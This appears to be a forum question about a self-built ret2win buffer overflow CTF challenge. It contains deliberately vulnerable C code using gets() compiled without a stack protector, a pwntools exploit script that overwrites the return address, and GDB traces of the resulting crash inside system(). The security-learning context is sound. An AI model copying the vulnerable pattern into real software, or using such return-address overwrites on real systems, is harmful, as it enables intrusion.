I'm trying to develop a simple buffer overflow CTF challenge inspired by the "Csaw 2016 Quals Warmup" challenge, here. I've managed to replicate the source code:
#include <stdio.h>
#include <stdlib.h>
int easy(){
system("cat flag.txt");
return 0;
}
int main()
{
char target[64];
char input[64];
write(1,"-Warm Up-\n",10);
write(1,"WOW: ",4);
sprintf(target,"%p\n",easy);
write(1,target,9);
write(1,"> ",1);
gets(input);
return 0;
}
My current working directory has the flag.txt
file. Compiled the code with GCC using the given line:
gcc sys_call.c -o sys_call -fno-stack-protector -no-pie -z,relro
The given checksec
output is as follows:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Exploiting:
Running the program outputs the following:
~/stack_BOF$ ./sys_call
-Warm Up-
WOW:0x401196
>INPUT
The address 0x401196
corresponds to the function easy()
which is our target for this challenge, we would need to change the instruction pointer $RIP
to match this value.
I'm using the GDB with the GEF wrapper for dynamic analysis:
...SNIPPIT...
0x0000000000401263 <+175>: call 0x401090 <gets@plt>
0x0000000000401268 <+180>: mov eax,0x0
0x000000000040126d <+185>: leave
0x000000000040126e <+186>: ret
End of assembler dump.
gef➤
Putting the break point after the gets
call, around the leave
op. would help us see our input in action.
b *main+185
After multiple attempts using the pwn cyclic
tool, I found the offset from our input[]
array to the $RSP
register (which will be used in the ret
operation to set $RIP
)
Here is the exploit script I'm using in python3:
from pwn import *
context.log_level = 'debug'
# context.log_level = 'critical'
context.binary = ELF('./sys_call')
context.local(endian='little')
target = process('./sys_call')
# Extracting the easy() function's address in memory
WOW = target.recvline_contains(b'0x').decode().split(':')[1]
# Padding of 136 characters, the offset between our input and the stack pointer.
payload = cyclic(136)
# Packaging the easy() address to 64-bit, little endian
payload += p64(int(WOW, 16))
# Saving the payload to a file to try it in GDB
with open("payload.tst",'bw') as f:
f.write(payload)
# Send payload and Receive output
target.sendline(payload)
target.recvall()
The script's execution outputs a SEGFAULT, which made me think the script did not work; perhaps something is wrong with the offset calculation or the packaging of the address:
[*] '/stack_BOF/sys_call'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './sys_call' argv=[b'./sys_call'] : pid 14305
[DEBUG] Received 0x18 bytes:
b'-Warm Up-\n'
b'WOW:0x401196\n'
b'>'
[DEBUG] Sent 0x91 bytes:
00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│
00000010 65 61 61 61 66 61 61 61 67 61 61 61 68 61 61 61 │eaaa│faaa│gaaa│haaa│
00000020 69 61 61 61 6a 61 61 61 6b 61 61 61 6c 61 61 61 │iaaa│jaaa│kaaa│laaa│
00000030 6d 61 61 61 6e 61 61 61 6f 61 61 61 70 61 61 61 │maaa│naaa│oaaa│paaa│
00000040 71 61 61 61 72 61 61 61 73 61 61 61 74 61 61 61 │qaaa│raaa│saaa│taaa│
00000050 75 61 61 61 76 61 61 61 77 61 61 61 78 61 61 61 │uaaa│vaaa│waaa│xaaa│
00000060 79 61 61 61 7a 61 61 62 62 61 61 62 63 61 61 62 │yaaa│zaab│baab│caab│
00000070 64 61 61 62 65 61 61 62 66 61 61 62 67 61 61 62 │daab│eaab│faab│gaab│
00000080 68 61 61 62 69 61 61 62 96 11 40 00 00 00 00 00 │haab│iaab│··@·│····│
00000090 0a │·│
00000091
[+] Receiving all data: Done (1B)
[*] Process './sys_call' stopped with exit code -11 (SIGSEGV) (pid 14305)
Looking at the same payload in GDB, it looks correct for the most part, we wrote the correct address in $RIP
after the execution of the ret
operation.
gef➤ r < payload.tst
Starting program: /stack_BOF/sys_call < payload.tst
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
-Warm Up-
WOW:0x401196
>
Breakpoint 1, 0x000000000040126d in main ()
...SNIP...
gef➤ ni
0x000000000040126e in main ()
...SNIP...
→ 0x40126e <main+186> ret
↳ 0x401196 <easy+0> endbr64
0x40119a <easy+4> push rbp
0x40119b <easy+5> mov rbp, rsp
0x40119e <easy+8> lea rax, [rip+0xe5f] # 0x402004
0x4011a5 <easy+15> mov rdi, rax
0x4011a8 <easy+18> call 0x401080 <system@plt>
Finally we come to the main point of this thread/question:
If we continue the execution from the previous point, one instruction at a time. We will eventually land on the SIGSEGV as soon as we hit the system call shown below:
gef➤
0x00000000004011a8 in easy ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0000000000402004 → "cat flag.txt"
$rbx : 0x0
$rcx : 0x00007ffff7e1aaa0 → 0x00000000fbad2098
$rdx : 0x1
$rsp : 0x00007fffffffdf78 → "haabiaab"
$rbp : 0x00007fffffffdf78 → "haabiaab"
$rsi : 0x1
$rdi : 0x0000000000402004 → "cat flag.txt"
$rip : 0x00000000004011a8 → <easy+18> call 0x401080 <system@plt>
$r8 : 0x0
$r9 : 0x0
$r10 : 0x77
$r11 : 0x246
$r12 : 0x00007fffffffe088 → 0x00007fffffffe3bd → "/stack_BOF/sys_c[...]"
$r13 : 0x00000000004011b4 → <main+0> endbr64
$r14 : 0x0000000000403e18 → 0x0000000000401160 → <__do_global_dtors_aux+0> endbr64
$r15 : 0x00007ffff7ffd040 → 0x00007ffff7ffe2e0 → 0x0000000000000000
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf78│+0x0000: "haabiaab" ← $rsp, $rbp
0x00007fffffffdf80│+0x0008: 0x0000000000000000
0x00007fffffffdf88│+0x0010: 0x00000000004011b4 → <main+0> endbr64
0x00007fffffffdf90│+0x0018: 0x00000001ffffe070
0x00007fffffffdf98│+0x0020: 0x00007fffffffe088 → 0x00007fffffffe3bd → "/stack_BOF/sys_c[...]"
0x00007fffffffdfa0│+0x0028: 0x0000000000000000
0x00007fffffffdfa8│+0x0030: 0x59a68be822d4ea3d
0x00007fffffffdfb0│+0x0038: 0x00007fffffffe088 → 0x00007fffffffe3bd → "/stack_BOF/sys_c[...]"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x40119b <easy+5> mov rbp, rsp
0x40119e <easy+8> lea rax, [rip+0xe5f] # 0x402004
0x4011a5 <easy+15> mov rdi, rax
→ 0x4011a8 <easy+18> call 0x401080 <system@plt>
↳ 0x401080 <system@plt+0> endbr64
0x401084 <system@plt+4> bnd jmp QWORD PTR [rip+0x2f95] # 0x404020 <[email protected]>
0x40108b <system@plt+11> nop DWORD PTR [rax+rax*1+0x0]
0x401090 <gets@plt+0> endbr64
0x401094 <gets@plt+4> bnd jmp QWORD PTR [rip+0x2f8d] # 0x404028 <[email protected]>
0x40109b <gets@plt+11> nop DWORD PTR [rax+rax*1+0x0]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
system@plt (
$rdi = 0x0000000000402004 → "cat flag.txt",
$rsi = 0x0000000000000001,
$rdx = 0x0000000000000001
)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sys_call", stopped 0x4011a8 in easy (), reason: SINGLE STEP
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4011a8 → easy()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
Program received signal SIGSEGV, Segmentation fault.
The expected output would be the content of the flag.txt
file which is a normal ASCII test file.
flag{test}
I would appreciate some assistance in understanding what is happening and perhaps what I did wrong.
More info:
Distributor ID: Ubuntu
Description: Ubuntu 22.04.4 LTS
Release: 22.04
Codename: jammy
Linux HOSTNAME 6.5.0-27-generic #28~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC x86_64 x86_64 x86_64 GNU/Linux
randomize_va_space
setting in the kernel? That's the one step you have seem to have skipped...